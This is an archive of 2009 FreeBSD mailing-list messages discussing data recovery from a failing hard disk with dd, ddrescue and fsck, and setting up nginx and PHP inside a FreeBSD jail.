<70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: George Davidovich , freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 22:53:41 -0000 On Wed, 26 Aug 2009 16:30:59 -0500, "Gary Gatten" wrote: > I had a laptop years ago that started to die, but seemed to work OK when > first removed from a cold car. After an hour or so it would die. I > eventually put it in the freezer long enough to get what I needed off > the drive, so in some cases I would agree that cold is good! That really sounds like a thermal problem (defective cooling)... -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 23:01:57 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F0DCD106568E for ; Wed, 26 Aug 2009 23:01:57 +0000 (UTC) (envelope-from Ggatten@waddell.com) Received: from mailhost0.waddell.com (mailhost0.waddell.com [12.154.38.61]) by mx1.freebsd.org (Postfix) with ESMTP id 960468FC27 for ; Wed, 26 Aug 2009 23:01:57 +0000 (UTC) Received: from mailhost3.waddell.com (mailhost3.waddell.com [10.1.10.28]) by mailhost0.waddell.com (8.13.8/8.13.8) with ESMTP id n7QN1efl010785; Wed, 26 Aug 2009 18:01:40 -0500 (CDT) (envelope-from Ggatten@waddell.com) Received: from mailhost3.waddell.com (localhost [127.0.0.1]) by localhost (Postfix) with SMTP id 0228451B8C; Wed, 26 Aug 2009 18:01:39 -0500 (CDT) Received: from wadpexf0.waddell.com (wadpexf0.waddell.com [192.168.204.24]) by mailhost3.waddell.com (Postfix) with ESMTP id E862E51B68; Wed, 26 Aug 2009 18:01:39 -0500 (CDT) Received: from WADPEXV0.waddell.com ([192.168.204.25]) by wadpexf0.waddell.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 26 Aug 2009 18:01:39 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 26 Aug 2009 18:01:05 -0500 Message-ID: <70C0964126D66F458E688618E1CD008A0793F4F9@WADPEXV0.waddell.com> In-Reply-To: <20090827005339.e2cafb97.freebsd@edvax.de> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: hard disk failure - now what? Thread-Index: AcomoBAIVKmWzaWBRKCSz6cTWd3cyAAALSKw References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com><20090824223247.GD43410@slackbox.xs4all.nl><1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com><20090826180741.GA23120@slackbox.xs4all.nl><20090826191348.GA85581@marvin.optimis.net><20090826231318.3c924090.freebsd@edvax.de><70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> <20090827005339.e2cafb97.freebsd@edvax.de> From: "Gary Gatten" To: "Polytropon" X-OriginalArrivalTime: 26 Aug 2009 23:01:39.0814 (UTC) FILETIME=[2BB1C060:01CA26A1] Cc: George Davidovich , freebsd-questions@freebsd.org Subject: RE: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 23:01:58 -0000 Naw, I don't recall the POST error exactly, but from what I remember it couldn't find a boot device. Could've been the controller, but from what I recall I swapped the drive (later) and all was good. I really don't recall though - I could've put the "bad" drive in a good laptop and fixed it that way - really don't recall details. Wish I could fix some other problems by throwing them in a freezer! -----Original Message----- From: Polytropon [mailto:freebsd@edvax.de]=20 Sent: Wednesday, August 26, 2009 5:54 PM To: Gary Gatten Cc: George Davidovich; freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? On Wed, 26 Aug 2009 16:30:59 -0500, "Gary Gatten" wrote: > I had a laptop years ago that started to die, but seemed to work OK when > first removed from a cold car. After an hour or so it would die. I > eventually put it in the freezer long enough to get what I needed off > the drive, so in some cases I would agree that cold is good! That really sounds like a thermal problem (defective cooling)... --=20 Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ...
"This email is intended to be reviewed by only the intended recipient and may contain information that is privileged and/or confidential. If you are not the intended recipient, you are hereby notified that any review, use, dissemination, disclosure or copying of this email and its attachments, if any, is strictly prohibited. If you have received this email in error, please immediately notify the sender by return email and delete this email from your system."
From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 23:04:00 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 44B54106568B for ; Wed, 26 Aug 2009 23:04:00 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id C6E1D8FC22 for ; Wed, 26 Aug 2009 23:03:59 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id CBDC33CBDD; Thu, 27 Aug 2009 01:03:59 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7QN3wCh002851; Thu, 27 Aug 2009 01:03:58 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Thu, 27 Aug 2009 01:03:58 +0200 From: Polytropon To: Roland Smith Message-Id: <20090827010358.121fa496.freebsd@edvax.de> In-Reply-To: <20090826180741.GA23120@slackbox.xs4all.nl> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 23:04:00 -0000 On Wed, 26 Aug 2009 20:07:41 +0200, Roland Smith wrote: > If the drive is that bad, it is doubtfull if dd or ddrescue will be able to > get a good copy. There's an additional problem: Let's assume dd creates an 1:1 copy of the file system in its actual state - nobody guarantees that this file system is fully intact, or can be repaired. I have (!) the problem myself that I got the dd copy from the partition holding my home directory just fine, but the file system itself is damaged in such a state that fsck_ffs cannot repair it. At least, I could get data off it - EXCEPT my home directory, sadly. But that's not a (physical) disk problem, but a file system related one. > Using dd you make a block-for block copy; dd doesn't know about filesystems. > You could pipe the output from dd through a compression program like gzip or > bzip2. That could yield a smaller image. But you'd have to uncompress it in > order to use it. I'm often told that hard disks are cheap today, and it's much more relaxing operating on a plain image than on a compressed one. > Or you could try just copying the filesystems separately. E.g. copy from > ad4s1f instead of the whole ad4. That way you can split the data over several > files which you can store in different places. That is the encouraged method. In case you have separated file systems, it's a quite optimum case. For example, you don't need to mess around with a 20 GB /tmp partition if you intendedly want to lose its "data". > I hope you get a good copy, but it doesn't sound too likely. I'm not a hardware > expert, but if the disk is really breaking down in the hardware or > electronics, it is not inconceivable that even reading might further > deteriorate it. In case of such hardware defects that causes growing problems, it's wise to get the data (1st) as fast as possible and (2nd) as accurate as possible - before the disk completely dies. In such a case, it's still possible to recover data, e. g. to mount the disks (the cylinders or platters) into another drive unit. But if the disks are defective theirselves... > If you do not get a good 1:1 copy, you'll have extra errors in > your data! Depending on the options you give dd, it will either skip blocks > with errors or fill it with zeroes or other characters. See the piece of the > manual page of fsck_ufs that describes the 'noerror' conversion. As far as I remember, dd_rescue or ddrescue can handle such problems. In case of errors, they retry and keep reading. > > fsck_ufs: cannot alloc 4294967292 bytes for inoinfo > > The meaning of errors is explained in Appendix A of "Fsck - The UNIX File > System Check Program". You can find it this as > /usr/share/doc/smm/03.fsck/paper.ascii.gz When I tried to repair my defective partition in another system with less RAM, I got a similar error: cannot alloc 1073796864 bytes for inoinfo The real ("usual") error is fsck_4.2bsd: bad inode number 306176 to nextinode It seems that more RAM is needed to store information. > Time to start thinking about a solid backup strategy as well. :-) The correct time to do so is BEFORE you start storing data. :-) -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 02:43:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 957791065672 for ; Thu, 27 Aug 2009 02:43:37 +0000 (UTC) (envelope-from noc@hdk5.net) Received: from guam10.hdk5.net (guam10.hdk5.net [66.180.132.235]) by mx1.freebsd.org (Postfix) with ESMTP id 62C118FC26 for ; Thu, 27 Aug 2009 02:43:37 +0000 (UTC) Received: from mohawk7.intra.net (unknown [66.180.149.18]) by guam10.hdk5.net (Postfix) with ESMTP id 145D81CC47; Wed, 26 Aug 2009 16:43:36 -1000 (HST) Message-ID: <4A95F2D7.3070001@hdk5.net> Date: Wed, 26 Aug 2009 16:43:35 -1000 From: Al Plant User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 FreeBSD/i386 SeaMonkey/1.1.7 MIME-Version: 1.0 To: Gary Gatten References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com><20090824223247.GD43410@slackbox.xs4all.nl><1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com><20090826180741.GA23120@slackbox.xs4all.nl><20090826191348.GA85581@marvin.optimis.net> <20090826231318.3c924090.freebsd@edvax.de> <70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> In-Reply-To: <70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: George Davidovich , Polytropon , freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 02:43:37 -0000 Gary Gatten wrote: > I had a laptop years ago that started to die, but seemed to work OK when > first removed from a cold car. After an hour or so it would die. I > eventually put it in the freezer long enough to get what I needed off > the drive, so in some cases I would agree that cold is good! > > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Polytropon > Sent: Wednesday, August 26, 2009 4:13 PM > To: George Davidovich > Cc: freebsd-questions@freebsd.org > Subject: Re: hard disk failure - now what? > > On Wed, 26 Aug 2009 12:13:48 -0700, George Davidovich > wrote: >> Probably true. I hesitate to suggest this, but sticking the drive in > a >> freezer (preferrably in a ziplock bag) for a few hours or overnight >> might help. Stories from people claiming "I swear it works!" go back >> years. > > I heared a similar suggestion from a guy who tried to get the > protection code out of a car radio. :-) > > > >> To the exent it does work, it might give Kelly enough time to attempt >> recovery. If more time is required, he can try and find a creative >> workaround for the 5 meter max length for USB cables. > > 5 meters? I always thought USB is specified for 2 meters only. > I've never seen a 5 meters long USB cable, by the way. > > > > > Aloha, Off Topic but very funny as well as interesting. I have a usb cable that I bought it on line and have used it for a small video camera that is 15 meters long and it works OK. ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740 + http://hawaiidakine.com + http://freebsdinfo.org + + http://aloha50.net - Supporting - FreeBSD 6.* - 7.* - 8.* + < email: noc@hdk5.net > "All that's really worth doing is what we do for others."- Lewis Carrol From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 02:59:55 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B215C106568B for ; Thu, 27 Aug 2009 02:59:55 +0000 (UTC) (envelope-from apseudoutopia@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 4434A8FC20 for ; Thu, 27 Aug 2009 02:59:54 +0000 (UTC) Received: by bwz2 with SMTP id 2so579129bwz.43 for ; Wed, 26 Aug 2009 19:59:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type:content-transfer-encoding; bh=JgOCOGPYhCngqMdK7VyO7CO41kkecUSabiV95X6QPII=; b=uILGbvN96PyiEoF76pSDVCkJUorNqLSo5EaDjYiSSLHZdRW4ONDbrM4DPot+ZxR1ZU DpHXu9qOyWp3ApHvMwupt7QU/YsB13m3fU39k/lgKz1HFdU5YDzZwgxwVw+tf+ecpv4g DVbVg3NLJvJ04gFyTP/d2FaN8CBYdnwx/J1NQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type :content-transfer-encoding; b=S+XVV248DTcljL3kHLaJ/aeHXrGwBgm0QVo7OYKfs7eeRRYkK3MYEKAGyYPOVu2oxe adO6HIud+DH/l3J/0ulftv1TWnpwu+QgOVtxOVYPHCM9mpeERvepvaVuEL1/xQuv7/EN WBJVcI4wRvN0vYElonkF7r+Ki8GIXoYGpebBw= MIME-Version: 1.0 Received: by 10.204.154.150 with SMTP id o22mr4278716bkw.154.1251341994147; Wed, 26 Aug 2009 19:59:54 -0700 (PDT) From: APseudoUtopia Date: Wed, 26 Aug 2009 22:59:34 -0400 Message-ID: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Subject: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 02:59:55 -0000 Hello, I have a small site which runs PostgreSQL, Nginx, and PHP. I'm looking into running nginx inside a jailed host on my server for security reasons (eg, if there is a hole in a php script). The website root is actually a working copy of my subversion repository. I have svnserve running through OpenVPN. My plan would be to have svnserve and OpenVPN running on the "main" system, and nginx/php running inside a jail. I was wondering if it would be somehow possible to run a command on the main system that updates the svn working copy inside the jail for nginx to serve. Would I need to do the "svn up" over tcp/ip from the jail to the main system? Or can I somehow update it via file://path/to/main/repo? I've never used or setup a jail before, so how everything works is a bit confusing to me. Right now, I use an svn post-commit hook to update the www working copy. Also, how memory-intensive is a jail? I'm willing to run postgresql in another jail as well if it wouldn't be too memory-intensive. And possibly even an IRC server. I'm running FreeBSD 7.2-RELEASE-p3. Thank you for the suggestions, advise, and criticisms. From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 03:10:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7001A106568D for ; Thu, 27 Aug 2009 03:10:38 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-gx0-f227.google.com (mail-gx0-f227.google.com [209.85.217.227]) by mx1.freebsd.org (Postfix) with ESMTP id 27ED48FC20 for ; Thu, 27 Aug 2009 03:10:37 +0000 (UTC) Received: by gxk27 with SMTP id 27so847644gxk.12 for ; Wed, 26 Aug 2009 20:10:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=Bf9TCNaFysYsui+lsuef8O96lf+KP8jiPxDlbFpi8YY=; b=vBvwxn8ZAII6F9g+gtbDTL7axlvpwoEG9YS2+HEsAMn1ROCM0yrJiVkK8/R13GiAX7 It4HwbwZ9X0/uUeCzy+uuE20vcVjn5ETWVpBi9yzXd9aFLlIgwXguJVGGPHg8/PT+AQr LgToIOHOsENq+UPCh0GjdGpcG+NjW6gBVz55w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=RGuO/Ztj11I+rWWHgGUHHAu3oBS/ZGZOnTZx3XtRgxV4n6ZY9GinpusdANFkJiCUTP oEB+5Ma02ue2QZWZDvdq3woXya/7M24vEoITO5VSMXpZXaq3inkhTim2/2om9HH5DLt1 BSHU5gLvb4uWL/gGJtA3LSNbf+HDmkACcU+NI= MIME-Version: 1.0 Received: by 10.150.129.40 with SMTP id b40mr11901948ybd.311.1251342637142; Wed, 26 Aug 2009 20:10:37 -0700 (PDT) In-Reply-To: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> Date: Wed, 26 Aug 2009 22:10:37 -0500 Message-ID: <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> From: Adam Vande More To: APseudoUtopia Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 03:10:38 -0000 On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia wrote: > Hello, > > I have a small site which runs PostgreSQL, Nginx, and PHP. I'm looking > into running nginx inside a jailed host on my server for security > reasons (eg, if there is a hole in a php script). > > The website root is actually a working copy of my subversion > repository. I have svnserve running through OpenVPN. My plan would be > to have svnserve and OpenVPN running on the "main" system, and > nginx/php running inside a jail. > > I was wondering if it would be somehow possible to run a command on > the main system that updates the svn working copy inside the jail for > nginx to serve. Would I need to do the "svn up" over tcp/ip from the > jail to the main system? Or can I somehow update it via > file://path/to/main/repo? > The second method, it's quite easy. > I've never used or setup a jail before, so > how everything works is a bit confusing to me. Right now, I use an svn > post-commit hook to update the www working copy. > > Also, how memory-intensive is a jail? Very light when compared to other virtualization methods. Usually, most setups won't run things that require a lot disk io in virtual systems, but jails are an exception. Practically native speed, it's easier to understand jails by thinking of them as an enhanced chroot enviro rather than a virtualization instance. > I'm willing to run postgresql in > another jail as well if it wouldn't be too memory-intensive. And > possibly even an IRC server. If you're going to run multiple jails, look at /usr/ports/sysutils/ezjail > > > I'm running FreeBSD 7.2-RELEASE-p3. Keep in mind jail needs to run same kernel as host. If you upgrade base system, do so with every jail as well. > > > Thank you for the suggestions, advise, and criticisms. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 03:35:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7FA54106568F for ; Thu, 27 Aug 2009 03:35:20 +0000 (UTC) (envelope-from erich@apsara.com.sg) Received: from babylon.webvis.net (babylon.webvis.net [202.157.163.226]) by mx1.freebsd.org (Postfix) with ESMTP id D15968FC19 for ; Thu, 27 Aug 2009 03:35:19 +0000 (UTC) Received: from [10.0.1.240] ([119.73.191.194]) by apsara.com.sg ; Thu, 27 Aug 2009 11:35:15 +0800 SGT From: Erich Dollansky Organization: apsara green technology pte ltd To: freebsd-questions@freebsd.org Date: Thu, 27 Aug 2009 11:35:11 +0800 User-Agent: KMail/1.9.10 References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> In-Reply-To: <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200908271135.13045.erich@apsara.com.sg> Cc: Adam Vande More , APseudoUtopia Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 03:35:20 -0000 Hi, On 27 August 2009 am 11:10:37 Adam Vande More wrote: > On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia wrote: > > > > Also, how memory-intensive is a jail? > > Very light when compared to other virtualization methods. jails share the kernel but not the world. So, there will be only one kernel loaded but all libraries in use will be loaded individually by each jail when needed. Jails need some more disk space as the world, all libraries needed and all applications needed are installed individually in each jail. This can be minimised with proper planning of what runs it what jail. Erich From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 03:50:02 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1CFE1106568E for ; Thu, 27 Aug 2009 03:50:02 +0000 (UTC) (envelope-from thomas@sanbe-farma.com) Received: from kikazu.sanbe-farma.com (kikazu.sanbe-farma.com [202.6.239.17]) by mx1.freebsd.org (Postfix) with ESMTP id 4D1188FC19 for ; Thu, 27 Aug 2009 03:50:00 +0000 (UTC) Received: from sanbe-farma.com (gwsanbe.sanbe-farma.com [202.6.239.18]) by kikazu.sanbe-farma.com (8.14.3/8.14.3) with SMTP id n7R3nv97005292 for ; Thu, 27 Aug 2009 10:49:57 +0700 (WIT) (envelope-from thomas@sanbe-farma.com) Received: (qmail 6857 invoked by uid 98); 27 Aug 2009 10:49:57 +0700 Received: from 192.168.16.75 by gwsanbe.sanbe-farma.com (envelope-from , uid 82) with qmail-scanner-1.25 (clamdscan: 0.90.2/3620. spamassassin: 3.2.1. Clear:RC:1(192.168.16.75):. Processed in 0.052804 secs); 27 Aug 2009 03:49:57 -0000 X-Qmail-Scanner-Mail-From: thomas@sanbe-farma.com via gwsanbe.sanbe-farma.com X-Qmail-Scanner: 1.25 (Clear:RC:1(192.168.16.75):. Processed in 0.052804 secs) Received: from unknown (HELO ?192.168.16.75?) (thomas@192.168.16.75) by gwsanbe.sanbe-farma.com with SMTP; 27 Aug 2009 10:49:57 +0700 Message-ID: <4A960255.9010103@sanbe-farma.com> Date: Thu, 27 Aug 2009 10:49:41 +0700 From: Thomas Wahyudi User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: APseudoUtopia References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> In-Reply-To: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 03:50:02 -0000 may be it will better to imagine that jail is a different computer, so if your jail need connection to main host it will connect like other computer that not running in jail. you can do file:// from main host to jail but not from jail to main host. As far I know jail is a method so memory intensive is depend on your application. regards Thomas APseudoUtopia wrote: > ... [cut] .... > > I was wondering if it would be somehow possible to run a command on > the main system that updates the svn working copy inside the jail for > nginx to serve. Would I need to do the "svn up" over tcp/ip from the > jail to the main system? Or can I somehow update it via > file://path/to/main/repo? I've never used or setup a jail before, so > how everything works is a bit confusing to me. Right now, I use an svn > post-commit hook to update the www working copy. > > Also, how memory-intensive is a jail? I'm willing to run postgresql in > another jail as well if it wouldn't be too memory-intensive. And > possibly even an IRC server. > > I'm running FreeBSD 7.2-RELEASE-p3. > > Thank you for the suggestions, advise, and criticisms. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 04:25:52 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1F283106568C for ; Thu, 27 Aug 2009 04:25:52 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr8.xs4all.nl (smtp-vbr8.xs4all.nl [194.109.24.28]) by mx1.freebsd.org (Postfix) with ESMTP id C0C4A8FC22 for ; Thu, 27 Aug 2009 04:25:51 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr8.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7R4Pnvo035818; Thu, 27 Aug 2009 06:25:49 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 50509BA8A; Thu, 27 Aug 2009 06:25:49 +0200 (CEST) Date: Thu, 27 Aug 2009 06:25:49 +0200 From: Roland Smith To: Polytropon Message-ID: <20090827042549.GA40011@slackbox.xs4all.nl> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090827010358.121fa496.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH" Content-Disposition: inline In-Reply-To: <20090827010358.121fa496.freebsd@edvax.de> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 04:25:52 -0000 --7JfCtLOvnd9MIVvH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Aug 27, 2009 at 01:03:58AM +0200, Polytropon wrote: > On Wed, 26 Aug 2009 20:07:41 +0200, Roland Smith wrote: > > If the drive is that bad, it is doubtfull if dd or ddrescue will be abl= e to > > get a good copy. >=20 > There's an additional problem: Let's assume dd creates an 1:1 copy > of the file system in its actual state - nobody guarantees that > this file system is fully intact, or can be repaired. Certainly. If filesystem data is missing, there is only so much that fsck_u= fs can do about it. =20 > > Using dd you make a block-for block copy; dd doesn't know about filesys= tems. > > You could pipe the output from dd through a compression program like gz= ip or > > bzip2. That could yield a smaller image. But you'd have to uncompress i= t in > > order to use it. >=20 > I'm often told that hard disks are cheap today, and it's much > more relaxing operating on a plain image than on a compressed > one. Of course. But if you are operating under restricted scape constraints... > > I hope you get a good copy, but it doesn't sound too likely. I'm not a > > hardware expert, but if the disk is really breaking down in the hardware > > or electronics, it is not inconceivable that even reading might further > > deteriorate it. >=20 > In case of such hardware defects that causes growing problems, > it's wise to get the data (1st) as fast as possible and (2nd) > as accurate as possible - before the disk completely dies. And (3rd) in as few tries as possible! > In such a case, it's still possible to recover data, e. g. to > mount the disks (the cylinders or platters) into another drive > unit. But if the disks are defective theirselves... I wonder if that is still possible with current drives? My impression was (from a paper that I can't locate ATM) that data densities are so high that= it is extremely difficult to read the data with different arm/head assembly th= en the one it was written with. > > Time to start thinking about a solid backup strategy as well. :-) >=20 > The correct time to do so is BEFORE you start storing data. :-) Very true! But since the lack of backups was what got the OP in this mess in the first place... Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --7JfCtLOvnd9MIVvH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) 